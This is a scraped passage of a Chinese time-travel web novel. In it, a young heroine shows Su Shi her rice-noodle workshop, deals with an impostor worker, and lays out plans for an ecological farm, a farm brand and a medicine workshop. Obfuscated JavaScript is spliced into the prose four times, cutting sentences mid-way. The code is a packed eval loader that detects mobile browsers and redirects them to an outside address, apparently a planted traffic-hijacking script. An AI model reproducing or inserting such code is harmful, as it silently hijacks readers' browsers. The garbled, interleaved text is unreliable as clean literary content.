;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091153|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块玉佩同庵里的住持师太抵换了一石籼米，开启了创业的第一步。因为有张二嫂他们助力，米粉事业进展很顺利，不仅村民很喜欢我们的鲜米粉，就连文老夫人也对此赞不绝口，给了我不少赏银。攒了一些钱后我便计划将业务拓展到朱仙镇。” 说话间，王文茵引着苏轼往山下走去，一路上遇见开垦梯田的流民都纷纷上来跟他们打招呼，态度十分殷勤。苏轼暗暗称奇，心说，看来阿茵在丰收村混得是如鱼得水呢。 王文茵将苏轼引到米线作坊内，带他参观做米线的流程。 “原先只跟村里人换粮食，我们做的都是鲜米粉，为了将业务拓展到朱仙镇，我便改良了技术，请穆叔打造了这台饸饹床子，专门用来压制米线。米线可以晒制成干米线，运输存储都比鲜米粉更方便。” 苏轼认真端看饸饹床子的操作方法，只见工人将一团粉白的米粉剂子放入床壶中用力下压，床壶底部的漏网内便榨出一缕缕细长的米线来。【注5】 “我记得北魏贾思勰所著的《齐民要术》里记载了一种‘粲’的做法：把糯米磨成粉，加以蜜、水，调至稀稠适中，灌入底部钻孔之竹勺，粉浆流出为细线，再入锅中，以膏油煮熟。这‘粲’同米线可有相似之处。”苏轼问道。【注6】 王文茵拍手道：“苏大人不愧是本朝第一美食家，‘粲’便是米线的前身，我只是稍做了一些改良。” “称我美食家不如叫我吃货更顺耳。”苏轼大笑道：“不过我这个吃货只懂吃，却不曾知道口感粗糙的早籼米居然能用来做爽口弹牙的米线，这一点我可比不过阿茵你呀。” “大人你过奖了。”王文茵想了想还是决定暂时先不说出实情，“这米线的做法并非是我独创，而是我从别处学来的。” 苏轼不疑有他，点头道：“介甫兄素来喜好收集民间各地的风物，想必你是受他影响。” 他环顾四周，发现作坊内的工人都各司其职，井然有序地做着自己手头的工作，便好奇道：“这些工人看起来不像是老弱病残，倒像是身体康健的村民。” “他们原先都是寄居在丰收的流民，只因村里可供他们耕种的田地不多，兼之今年天灾，收成有限，流民缺食少粮，于是便有人上山来偷盗米线。”王文茵小声道：“正好我打算扩建米线作坊，便将他们都招揽过来，好让他们能自食其力，不再行作奸犯科之事。” 苏轼倒也不意外，流民偷盗抢劫时有发生，不由得叹气道：“流民动荡不安乃是我朝一大隐患，几乎年年都有农民因天灾人祸战乱成为流民，地方政府若是处置不当很容易造成暴乱，继而引发起义。阿茵能为流民解决衣食住宿就业问题，实乃是为朝廷做了杰出贡献。” 王文茵并不揽功，摇头道：“并非我一人的功劳，若是没有七衙内鼎力相助，这件事怕是成不了。” “哦？此话怎讲？” 64. 第六十四章 王文茵将鲁大他们偷盗米线被文安世的护卫陈武抓了个人赃并获的过程简单叙述了一番。 “依县衙的意思是要将鲁大他们收押送监的，七衙内了解了鲁大他们的真实状况后便同知县说情，让他们将功补过，还以文老夫人的名义出钱资助他们修建屋舍、开垦梯田，让他们在丰收村落地生根。 而我这边因来自朱仙镇的米线订单暴涨，正需要人手扩建米线作坊，不过是顺水推舟之举罢了，谈不上什么杰出贡献。”王文茵自谦道。 苏轼但笑不语，反手指向山下的农田问道：“你同七衙内合作搞农场又是怎么回事呢？” 王文茵掩嘴笑了笑，“这事说起来跟米线作坊也有一定关系。” 苏轼挑起一边眉毛，洗耳恭听。 “丰收村的农户今年收成普遍不好，家中的口粮若是交了秋税，来年便只能饿肚子。他们见流民在米线作坊打工每日有钱可赚，便来找我做交易，希望我能典下他们的田地，作为交换也让他们在米线作坊内谋一份工，待他日有了钱再将田地赎回去。” 苏轼闻言皱起了眉：“这交易咋一听似乎挺公平，但仔细一想其实是你吃亏啊。” “大人说的是呢，明摆着亏本的买卖我自然不会去做。”王文茵笑道：“是以我便提出了另一套方案，让他们各家留下一亩水田作为保底，其余田地尽数售卖与我。只是目前米线作坊已有足够的人手，但我可以雇佣他们为我的农场打工。” 苏轼含笑点头，“阿茵果然机灵，这样一来农户不必因失去田地卖身为奴继而沦为流民，而你也不必担心典来的田会被农户随时反悔赎回去。” 王文茵拍手笑道：“知我者苏大人也！” 苏轼微微笑着打量王文茵，心说，不愧是王介甫的嫡亲孙女，宅心仁厚却不会被世俗的道德所绑架，该守住的底线绝不后退一丝一毫，这般聪慧的人儿在哪里都能活得生猛清醒。 “你买这么多田地的目的就是为了打造一个农场？”苏轼寻思道：“我猜你口中的农场定然不是寻常的农场，是也不是？” “大人猜对了！”王文茵兴奋道：“我规划的这个叫生态农场。” 生态农场？苏轼在脑海中搜刮与农业有关的知识，发现竟是一无所获，便不耻下问：“我竟从未听说过这‘生态农场’是怎番模样，阿茵可否赐教一二？” 王文茵施礼道：“大人若是感兴趣，请随我下去看看便知。” 王文茵转身吩咐鲁大，让他告诉王大崔将生态农场的规划图取来。 鲁大磨蹭了一会儿嗫喏道：“王管事不在作坊内。” 王文茵皱眉，“王大叔不会又自个儿跑去偷闲，把管事的活都交给你了吧？” “没，没，没，王管事没偷懒。”鲁大连忙摆手辩护道：“不是小娘子想的那样。” 王大崔这人虽然小毛病多，但绝不会无缘无故撂挑子将管理作坊的重任丢开不管，王文茵仔细端详鲁大的脸色，发现他似乎有什么难言之隐，心里起疑：“是不是出了什么事？” 鲁大抬眼看看王文茵身旁的苏轼，想说又不敢说。 王文茵知道他在想什么，直言：“苏大人不是外人，有什么话你直说便是。” “是，是。”鲁大这才点着头松口道：“王管事抓贼人去了。” 这下不禁王文茵惊讶，连苏轼也感到十分纳闷，脱口道：“丰收村看起来一派平静祥和，没想到治安竟如此糟糕？” 鲁大大概是联想到自己当初偷窃米线一事，顿时羞愧不已，低头解释：“大人误会了，并非是小、小……小偷，而是有来历不明之人冒充流民混进了米线作坊。” 一听有来历不明之人冒充流民，王文茵马上联想到张二嫂说起过的那个在静缘庵门口鬼鬼祟祟的男人，忙道：“可是那个叫老闫的流民？” “正是。”鲁大抬起头惊讶道：“小娘子已经知道了？” 王文茵摇了摇头，“我那日听二婶子说在静缘庵门口撞见一个神情可疑的男子，他说自己是山下米线作坊新招来的流民，便让王大叔去查证一番，没想到此人竟然真有问题。到底是怎么回事？” 鲁大扑通一声跪倒在地，慌张道：“此事不能怪王管事，是我没将新招来的流民身份一一核实才犯下大错。” 王文茵知道鲁大这是在替王大崔掩饰过错，核验流民身份本就是王大崔的工作，他应该是偷懒没仔细验证才导致有人浑水摸鱼混了进来。 “你们二人究竟谁该担责此事稍后再议。”王文茵让鲁大先起来，“可查明老闫的真实身份？” 鲁大坦言：“我同王管事一道去县衙查证后才知道，混进来这个叫‘老闫’的男子是冒名顶替的。” 原来那日被张二嫂撞破后老闫当晚就跑路了。王大崔得知消息后知道是自己搞砸了，新招进来的这批流民他只是点了个卯，没跟县衙那边核实身份，担心会出事，第二天他就跟鲁大一起去县衙追查老闫的来历。 谁知到了县衙正好遇到真正的老闫在跟胥吏扯淡，说自己无缘无故被丰收村的米线作坊给开除了，现在身无分文又无处可去，想让县衙再给自己安排一份活计。 王大崔一听气不打一处来，上前就跟那名真正的老闫扭打起来，待鲁大和胥吏将二人分开，问明缘由这才了解了事情的来龙去脉。 原来县衙负责安置流民的胥吏将米线作坊招募的流民登记在册后因家中有急事，便没有亲自将人送去丰收村，而是让他们自行结伴前往。途中有个陌生的男子突然将老闫拦下，拿出一锭银子与他做了交易，提出由自己顶替老闫去米线作坊打工。 真正的老闫本就是个好吃懒做的主，不用干活就能有钱拿他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095683|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二话不说就答应了。于是那个来历不明的男子便顶着老闫的名字去了米线作坊，真正的老闫则拿着这锭银子去朱仙镇喝酒吃肉了。 几日后银子花完，老闫无处可去，便扯了个谎又来县衙讨生计了，谁知正巧碰到了王大崔他们。 王大崔扭着老闫的衣襟质问他那个来历不明的男子叫什么名字。 老闫直呼不清楚，只说对方身上穿的衣服都是绸缎和貂皮，看着不像流民，更像是汴京城里大户人家的老爷。当时他也奇怪这样的人怎会跑去米线作坊打工，不过他贪图那锭银子未及多问便答应了对方冒名顶替的要求，反正他也没什么损失。 事已至此，王文茵已经清楚冒充老闫的那个男子目的何在，“他是冲着米线作坊来的。” 鲁大惭愧万分，低头认错：“都是我的疏忽，小娘子要打要罚就由我一人受过便是。” 王文茵虽然欣赏鲁大的义气，但她一向赏罚分明，绝不和稀泥，更加不会因为鲁大的包庇袒护就将王大崔的过失一笔勾销。 “冒名顶替这件事暂且放一边，等王大叔回来你转告他，叫他不用去找了。”王文茵柔声吩咐鲁大：“你先去静缘庵将生态农场的规划图纸替我取来。” 鲁大惶惑抬头，有些不敢置信：“小娘子不再追究我们的过错了吗？” 王文茵淡然一笑：“素来只有千年做贼的，没有千年防贼的，既然旁人有心想来刺探咱们作坊的机密，咱们又如何能防得住？至于你跟王大叔的责任嘛，且等事情有了眉目再议。” 鲁大离开后，苏轼好奇地问王文茵：“阿茵你该不是已经想到找出冒名顶替之人的法子了吧？” 王文茵摇头，“我并不知道此人是谁，上哪里去找他？” 苏轼不解：“那你为何不报官？” “报官有何用？”王文茵理性分析道：“此人不过是冒名顶替来米线作坊打了几日工，作坊内并无丢失任何物品，况且他连工钱都还没结就走了，我能以什么名义报官抓他？总不能无凭无据就断定他是来窃取米线作坊的技术吧？” 苏轼重新打量王文茵，发现她非但不焦虑，还一脸淡定，由衷感叹：“想不到阿茵你小小年纪处变不惊，考虑问题还如此周全，真有乃祖父之风，老夫甘拜下风啊！” “大人又来打趣我了，我只是在想对方的目的既然是米线作坊的技术，那么迟早会有动作，一动不如一静，我先静观其变，再做打算也来得及。” 苏轼满眼赞赏，“有道是兵来将挡水来土掩，我相信以阿茵的聪慧一定能解决这个小麻烦。若是有用得上老夫的地方，阿茵尽管开口，老夫愿助你一臂之力。” 王文茵朝苏轼行了个大礼，“多谢苏大人厚爱。” “小娘子，苏大人，米线作坊出事了吗？”赵元宁手中攥着一卷图纸出现在王文茵身后。 65. 第六十五章 王文茵见来人是赵元宁，并不打算对他隐瞒，一五一十将有人冒名顶替潜入米线作坊窃取技术的事告诉了他。 赵元宁听后大惊失色，“这可如何是好？不如报官吧？” “安了，小事一桩，我心里有底。做米线的技术迟早会被人传播出去，只不过是有人想捷足先登而已。” “可若是做米线的技术被其他家窃取，那米线作坊岂不是会面临销售竞争？”赵元宁隐隐担心香料工坊也会面临同样的困境。 “这是无法避免的，同行之间一定会形成竞争，就看是良性还是恶意。”王文茵冷静道。 赵元宁被王文茵这气定神闲的态度折服了，“若是恶意竞争你当如何处置？” 王文茵眨眨眼，忽悠他道：“船到桥头自然直，你且等着看我如何应变就是。” 苏轼暗自好笑，难怪阿茵说她同赵家四郎只是纯洁的合伙人关系了，这小子如此憨傻，怕不是阿茵的对手吧？ 王文茵从赵元宁手中接过农场的规划图，展开来给苏轼看，“大人请看，这便是我设计的生态农场平面规划图。” 赵元宁也抻长脖子凑过去看，先前听王文茵提到这个生态农场时他还没什么概念，如今对着图纸一瞅，乖乖不得了，农场居然还能这么玩。 “我规划的这个生态农场主要由四大模块组成。”王文茵指着规划图给他们介绍：“分别是种植模块、养殖模块、有机肥料堆肥发酵模块、和农产品的加工模块……”【注1】 苏轼边听边看，心里啧啧称奇，这个生态农场别说见过，他连听都没听过。但这不是重点，重点是王文茵怎么可能对农业这么了解？难道这是王安石生前为国家做的农业规划，只是还没来得及实施便撒手西归，如今由他的亲孙女来帮他实现遗愿？这么一想苏轼就觉得合情合理了。 “堆肥发酵是怎生个堆法？”赵元宁在听完王文茵的介绍后对这个生态农场立刻产生了浓厚的兴趣。 王文茵将他们二人带到堆肥区域，赵大郎一家正在忙碌地将各处收集起来的树叶、木片、木屑、厨余残渣、动物粪便、和废弃的鱼虾、鱼渣、贝类等物分层堆叠在一起进行发酵。【注1】 “堆肥的原理便是在一层新鲜的原料上堆一层干枯的原料，让所有的堆积物在露天的环境下进行有氧发酵。”王文简明扼要解释道。【注1】 赵元宁虽然没种过地，胜在脑子好使，一看便理解了堆肥的奥妙，吸着鼻子道：“若不是亲眼所见，恁谁也想不到这些平日里人人嫌弃的臭鱼烂虾居然也能变废为宝，真是太神奇了诶。” 王文茵注意到赵元宁忍臭忍得辛苦，便指点他站到上风口去，“堆肥发酵的最初阶段味道比较大，待堆肥成熟后非但不会有臭味，还能帮鸡舍、猪舍、牛羊棚舍祛除臭味。”【注1】 “这么说堆肥可是生态农场的关键所在？” 苏轼在常州居住的时候经常在自家后院侍弄菜园，家中吃的新鲜蔬菜基本都是由他亲手种植出来的，对沤肥自然是了解的，只是没见过王文茵这种堆肥发酵的模式，听她这么一解释立刻就抓住了重点。 “大人说得是，堆肥可以说是有机生态农场的根本，要干好一个农场首先必须学会的技术就是堆肥技术。”王文茵道：“通过堆肥发酵出来的有机肥不但可以修复改良土壤，令土质变得更加疏松，促使植物的根系更为发达，还能帮鸡舍、猪舍、牛羊棚舍除臭，堆肥堆得好生态农场才可以持续发展下去。”【注1】 苏轼将王文茵的话都听了进去，内心不由萌生了一个不成熟的念头。 随后王文茵又带着苏轼赵元宁参观了种植区和养殖区，听说她要在稻田里饲养肥鸭，苏轼乐得哈哈大笑，问她：“阿茵，你确定不是因为馋烤鸭才想养鸭子吗？” 王文茵一本正经道：“大人有所不知，稻鸭共作模式是前人通过将水稻种植与鸭子养殖相结合，利用鸭子来控制稻田里的杂草和害虫，同时还能将鸭子的粪便作为肥料反哺给稻田，实现水稻和鸭子双丰收的宝贵经验。”【注1】 她将手指向稻田，“你们且看这一片区域，周围都是稻田，我在中间划出一块地专门用于养鸭子。白天的时候鸭子会跑到农田里吃虫子，顺便把草也除了，到了晚上它们就回到这块地上栖息。通过这种方式养殖的鸭子肥美可口，鸭蛋也是有机天然的，用来腌制咸鸭蛋可做蛋黄酥、咸蛋炒饭、咸蛋黄焗南瓜、咸蛋黄虾仁豆腐煲等美食呢。” 说到美食，苏轼和赵元宁不约而同咽了咽口水，想象一下用肥鸭产下的一颗颗饱满圆润的鸭蛋腌制出来金黄流油的蛋黄，那滋味别提有多美妙了。 “小娘子这农场还缺投资人吗？”赵元宁巴巴望着她。 王文茵摇了摇头，“目前已经有一位合伙人了，暂时不考虑再增加投资人。” 赵元宁哦了一声，一脸失落，“唉，要是早知道就好了，这哪是什么农场啊，这简直就是一个聚宝盆。” “不过你也别太失望，眼下这个生态农场只是我的实验基地。”王文茵安慰赵元宁：“待这个生态农场模式成功以后我打算再孵化复制到其他地方去。” 苏轼同赵元宁的眼睛同时一亮。 “阿茵是打算将生态农场的模式推广教学吗？”苏轼内心的火苗被点燃了。 “嗯。”王文茵点头道：“本朝的农户经常因为农作物欠收而负债累累，这其中自然有很大一部分原因是自然灾害造成的，但更重要的是缺乏对土地的有效利用，只一味索取，不懂如何反哺土地才是粮食产量逐年降低的主要原因。” “生态农场的优点是能让所有生活在其中的动植物形成一个生态闭环，比如种植覆土作物重建土壤，覆土作物又为牛羊提供食物，牛羊留下粪便又能反过来加强土壤的健康，动植物可以自我持续、自我调节、循环共存，生生不息。”【注1】 苏轼捻须思索，颔首道：“生态闭环……听起来确实很理想，但若是其中一个环节出了错，会不会对整个生态闭环造成毁灭性破坏？” 王文茵不得不给苏轼点个大大的赞，也就是像苏轼和她祖父王安石这样亲身下过地，跟农户有过深入的交流切磋的务实性官员才能如此敏锐地发现核心问题所在。 “大人的说的没错，完美的生态闭环只是一种理想的模式，现实是生态平衡随时会被各种不确定的外来因素所破坏。” 赵元宁脱口而出：“那该如何是好？” “不必担心，所有的动植物都有天敌，自然界的生态会通过自我调节形成一种动态的平衡。” “那么阿茵你打算如何将这种生态农场的模式孵化复制到别的地方去呢？”苏轼问出了最想问的问题。 王文茵自信地笑了笑，“我打算将这个丰收农场作为农学基地，通过授课和实践相结合的方式培训新型农民、传播先进的再生农业种植技术。” “可否讲得具体些？”苏轼洗耳恭听。 王文茵将苏轼赵元宁二人请到静缘庵内，让人抬出一块她自制的移动黑板，边写边画边讲解。 “正如我先前说的，生态农场分为堆肥、种植、养殖和加工四大模块。首先，堆肥模块作为农场的核心技术不仅可以为自家农场提供源源不断的肥料，还能同时对外出售有机肥料。堆肥技术虽然不难掌握，但有机肥的发酵固化却需要整整18个月。这是一个漫长的过程，大部分农户是没有这个时间和精力去自产自销有机肥料的，所以出售价廉物美的有机肥将会成为农场可观的收入来源。”【注1】 苏轼惊讶地瞪大了眼，看似不起眼的肥料都能拿去换银子，阿茵这丫头的经商头脑怕是连她祖父王安石都望尘莫及吧。 “其次是种植模块。”王文茵指着黑板上的几行字道：“根据我从各个渠道收集起来的信息汇总后得出的结论是，农作物欠收不仅仅是因为天灾，还有很大一部分原因是缺少有效的种地方法。为此我收集整理了一些经过验证的有效种地经验，这些经验将会率先在我自己的农场试验田上进行实践，等取得成绩后再推广普及，传授给其他农户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099831|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “小娘子能说一下都有哪些先进的种地经验可供参考？”赵元宁发现自己突然对种地产生了浓厚的兴趣。 “当然可以！”王文茵很喜欢这种互动式教学模式，欣然道：“首先第一点便是关于如何正确地耕地和犁地。每年水稻种植前的第一次耕地时间需要提前30天，耕地能使田地更平整，土层更松软，这样有利于插秧，方便后期管理。而犁地则是每四年进行一次就够了，犁地是为了土地的可持续发展，要将深层的土壤与表层的土壤做一次交换，这样更有利于水稻禾苗根部的生长，有利于水稻吸收大量土壤里的肥料，增强水稻抗风抗倒伏的能力。”【注1】 “其次便是农田除草的问题，可以通过淹除旱草、诱发水草的方式降低除草的成本，将淹死的杂草转换成种植水稻的肥料。第三则是用绿肥固氮、底肥养地，意思就是冬季的时候可以先在水稻田里种些豆类作物当绿肥，豆类的根瘤菌会把空气中的氮转换到土壤里去，而氮则是水稻生长最不可或缺的元素。”【注1】 前面关于种植的专业知识苏轼还能勉强听得懂，等王文茵嘣出什么“固氮啦”“根瘤菌啦”之类现代农业名词时，他开始对自己的智商产生了怀疑。怎么王文茵这个年仅十岁的小丫头知识面比自己还广？她这都是打哪儿学来的农业知识？ 不过苏轼素来不耻下问，举手道：“敢问女先生，何谓‘固氮’？又何谓‘根瘤菌’？” 赵元宁是知道王文茵穿越过后世的人，所以从她嘴里冒出任何稀奇古怪的词汇来他都已经见怪不怪了，可苏轼并不知道究中缘由，赵元宁暗暗替王文茵捏了一把冷汗。 一时口快没注意，竟然将这个朝代还没诞生的一些现代农业名词给漏了出来，王文茵倒是一点也不担心。名词嘛本来就是人造出来的，她笑嘻嘻胡诌道：“‘固氮’‘根瘤菌’都是我根据农户们口述的种植经验自己总结归纳出来的词汇，大人只需要知道大概意思便可以了，不必深究来源。” 对此苏轼倒是没什么意见，他是跟底层的农民打过交道的，农民大部分都没念过书，对农业和种植的经验来自于口口相传，有时候同一种东西会因方言口音的变化而出现南辕北辙的现象，所以王文茵自己生造词汇来下定义在苏轼看来反而很合理。 这段小插曲就这么一笔带过，王文茵继续讲解：“所谓的底肥养田呢，就是将农场养殖的鸡鸭猪牛羊的动物粪便连同秸秆、稻壳、杂草和我们自己培养出来的微生物菌群一起混合到田里。这些底肥不仅能滋养土地，还能给稻田里的鱼虾蟹蜗牛蚯蚓等动物带去充足的食物和养料。土壤里的生物越多，土壤品质就越好，水稻产量也就相应提高了。”【注1】 “最后一点是关于养田修埂的。大部分的田里都有黄鳝、泥鳅、虾蟹、昆虫等生物打地洞，这些洞容易造成田地不平、漏水等问题。所以必须先放水养田，将这些生物从洞里赶出来，这时候鸟群就会来啄食田里的生物。等鸟雀吃饱飞走后农户再将田里的水放掉，便能清楚看到哪些地方不平整需要填平修埂了。如此一来，种植水稻的时候便不会造成水资源的浪费了。”【注1】 “以上这些关于种地的经验只是我们农场种植模块中很小一部分，此外农场还有育苗区、大棚种植区、小拱棚种植区、露天种植区等根据季节和农作物的不同品种分门别类的种植管理方式。”【注1】 王文茵缓了口气，一股脑说了这么多，直觉口干舌燥，嗓子冒烟。 颇有眼力见的赵元宁恭恭敬敬奉上一杯茶水，学着苏轼的口吻道：“女先生，先喝杯水解解渴。” 王文茵不顾形象地将一杯水咕嘟咕嘟喝下去后，终于有点缓过来了。放下杯子，说道：“至于养殖和食品加工模块，因还在摸索中暂时没什么经验可谈，不过以上这些还都不是我办农场的真正目的。” 这都还不是，那真正的目的又是什么呢？苏轼同赵元宁不约而同竖起了耳朵。 “我办农场真正的目的是要打造一个家喻户晓的农场品牌！” 66. 第六十六章 农场品牌 农场品牌？这又是什么新奇的玩法？ 苏轼觉得自己老了，今日吃到的、听到的、看到的很多新鲜事物都让他感到兴奋的同时也让他对自己的年龄产生了焦虑。他开始怀疑自己是不是太过固步自封，导致自己时常沉溺于伤风悲秋的情绪中忽略了与外界的交流，实时更新自己的认知。 要知道他苏子瞻当年可是大宋朝赫赫有名的社交悍匪啊！ 王文茵虽然不是苏轼肚子里的蛔虫，但从他迷茫不解的眼神中也能猜出一二分，她倒是不担心苏轼怀疑她是穿越人士，毕竟这么荒谬的事除了当事人谁又能想得到呢？她担心的反而是自己一下灌输这么多这个时代没有的内容给他们，会不会给苏轼这般博学又容易思虑过度的人制造焦虑。 “大人，你一定想问什么是品牌？呃，这个词其实是我随口胡诌的。”王文茵善解人意地化解苏轼的疑虑。 苏轼含笑捋须，“到底是年轻人，胡诌都诌得这么有意思，哈哈哈。” 王文茵跟着笑起来，“苏大人不管什么年龄都有一颗永远年轻、永远热爱生活的心。” 苏轼开怀大笑，“阿茵说得对，永远保持一颗年轻、热爱生活的心又何惧年龄与成败！你快说说，你这个农场品牌打算要怎么玩儿？” 王文茵道：“首先农场作为一个品牌它是一定必须要盈利的，但它的盈利的模式不能太单一，要多样化。把农场打造成一个品牌不仅可以卖我们自己种植、养殖的有机农产品，还可以通过提供堆肥、种植、养殖、有机农法、园艺等农业技术培训来变现。【注1】 此外，我们农场还可以帮其他村庄设计规划农场，帮助他们建设农场；为他们提供大棚种植、小拱棚种植的各种设备工具；定期招收培训农学员，农学员在农场可以一边学习一边实践；并将关于农场和农业种植的专业知识写成一本图文并茂的书，传播到大宋境内每一个角落，让更多的农户从中学习获益。”【注1】 一口气将自己的目标和计划和盘托出，王文茵的脸因为激动微微泛红，她知道自己的想法是超越这个时代的，并且很有可能被视为异想天开，所以她并不期待其他人能理解，这也是为什么她没跟文安世这个农场的大股东畅谈过自己的雄心壮志的原因。 出乎王文茵意料的是苏轼突然站起来在屋子里来回踱步，随后他跑到黑板前神情激动地连说了三声：“好！好！实在太好了！” “大人觉得我这个设想可行？”王文茵有些不敢置信。 “当然可行！”苏轼不吝褒奖：“你的这个设想不仅能提高粮食产量，改善农民的生活，还能提供大量的就业，减少流民带来的危机。若是真的能推广实施，那就是我大宋朝之幸啊！” 有了苏轼的支持，哪怕只是精神上的支持，王文茵也倍感信心十足。只是这件事要实施起来只她一人是做不到的，于是便顺杆往上爬，试探问道：“大人愿意助我一臂之力吗？” 苏轼顿了顿，有些不好意思摊开手道：“我同你祖父一样，虽然身为朝廷命官，却落得两袖清风，没攒下什么积蓄，怕是有心无力啊。” 王文茵噗呲一笑，“钱的问题大人无须操心，大人只需为我提供一些技术上的支持便可。” 苏轼搓手笑道：“阿茵想让我如何支持？” 王文茵也不客气，笑嘻嘻道：“苏大人书画双绝，我想请苏大人为我们农场撰稿，不知大人可否满足我这小小心愿？” “这有何不可。”苏轼爽快应道：“农场这么好玩的事儿我求之不得！哦，对了，我正好带了一样东西给你。” 苏轼从袖袋内掏出一份报纸来递给王文茵，“这是我先前答应阿萍为‘李记米线’撰写的美食文，已经刊登在汴京日报上了，这次特地带来给你指正。” 王文茵喜不自禁，从苏轼手中接过汴京日报，飞速地浏览了一番，欠身道：“多谢大人费心，我一定好好拜读。” 被晾在一旁的赵元宁担心自己被落下，可怜巴巴地摇尾乞怜，“小娘子的宏图大业也能算我一份吗？” 王文茵眯眼笑道：“赵四郎不早就是我的合伙人了嘛。” 赵元宁舔舔牙，有些不好意思，“我的意思是这农场品牌着实有趣，能否也让我参投一丢丢股份？上次小娘子托我打听的油菜籽和棉花籽已经有消息了，有位西域胡商恰好经手过这些农作物，我已拜托他帮忙采购，近日便可运抵朱仙镇。” 王文茵有心逗他，故意摇头，“投资农场须得经过所有股东同意，怕是有点难……” 赵元宁失望地耷拉下脑袋。 王文茵掩嘴笑道：“不过我还想再投资创建一个专门种植制作熟药（中成药）和医疗用品的药社，不知赵四郎可有兴趣？” 赵元宁眼睛顿时亮了，忙不迭点头，“有兴趣！小娘子可是已经有好想法了？” 王文茵唔了一声道：“先前我同你说过种棉花的目的一则是棉花可用来制作蓬松柔软的棉衣御冬，二则是我想用棉花做医用的口罩，预防疾病传染，你还记得吗？” “记得，记得。”赵元宁点头道：“口罩这事我同家兄也提起过，他很支持。” 苏轼一听棉花感觉十分耳熟，便问：“你们说的棉花同我家乡产的‘吉贝’可是同一种植物？” “正是呢。”王文茵道：“我曾在书上看到过，大人的家乡西南蜀地有土人种植古亚洲棉，亦名天竺棉，一般为一年生，在亚热带能经冬不死，成长为多年生的灌木或小树，有的生长可达20年。”【注2】 苏轼恍然拍额，“原来如此！我曾在土人的寨子里见过此物，听闻可用来纺纱织布，土人将其称为‘吉贝’或‘花布、斑布、黎单’等。想不到竟是宝物，可惜家乡已无亲人，否则便该托人带些来京才好。”【注2】 “大人有心了。”王文茵谢道：“只是西南蜀国的棉花未必能在北地存活，反而是西域的棉花更易种植。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103567|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是以我便托赵四郎找人打听，如今既然已经有了着落，来年开春便可试种，若是试种成功，再推广种植，便可解百姓冬季御寒的燃眉之急。” 苏轼不无赞赏地颔首，“阿茵打算投资药社也是为了广大黎民百姓吧。” 王文茵并不想给自己立一个拯救苍生的人设，本质上她就是一个务实的人，她会在做一件事之前先考虑清楚这么做有没有价值，能不能盈利，以及在此基础上让更多的人受惠获利。 “大人高看我了，我投资药社的首要原因还是考虑到自身。”王文茵坦率道：“先前我因感染时疫被姑母家的仆役隔离在后院不闻不问，在鬼门关走了一遭，差点没能挺过来。其实时疫并不可怕，只是传染性极强，历朝历代都有因疫病没得到有效控制导致整座城沦陷成为死城的案例。” “是以，我在想若是百姓家中日常可以储备一些治疗感冒发烧、小病小痛的熟药（中成药）冲剂，再备一些口罩隔绝病菌，每日用肥皂勤洗手，那么疫病便能得到有效的预防控制，不至于最后大面积扩散导致整座城灭亡。” 赵元宁恍然大悟，惭愧道：“难怪小娘子说要将肥皂等清洁用品推广普及给所有人，原来想得这般远，是我太市侩了，只想着要赚更多的银子。” “想赚更多的银子并不是什么可耻的事，君子爱财取之有道，金钱本身并无罪恶，罪恶的是人的贪欲。”王文茵抿嘴道：“有了足够的资金才能研发出更多的熟药，不是吗？” 赵元宁笑嘻嘻拍马屁：“小娘子说什么都对！不知小娘子对药社可有规划方案？” “我心里大概是有些不成熟的想法，创建药社需要的不仅仅是银子，更需要技术支持。若是我没猜错的话通常像你们赵家这么大的药铺必然是有自己专属的药田？” “你没猜错。”说起正事赵元宁便敛起了嬉皮笑脸，郑重道：“虽然我家药铺每年会从药农手中采购大量的药材，但一些常用的药材还是会自己种植，从祖父那一辈起我家就囤积了不少田地专门用于培植药材。” 王文茵心里便有了数，“所以我们新创建的药社便不能种植跟你家药田相同的草药，否则就没有意义，我们要做的是一些治疗感冒发烧之类常见病的冲剂。” “适才听你提到冲剂的时候我便想问，这冲剂到底是何物？”赵元宁很好奇。 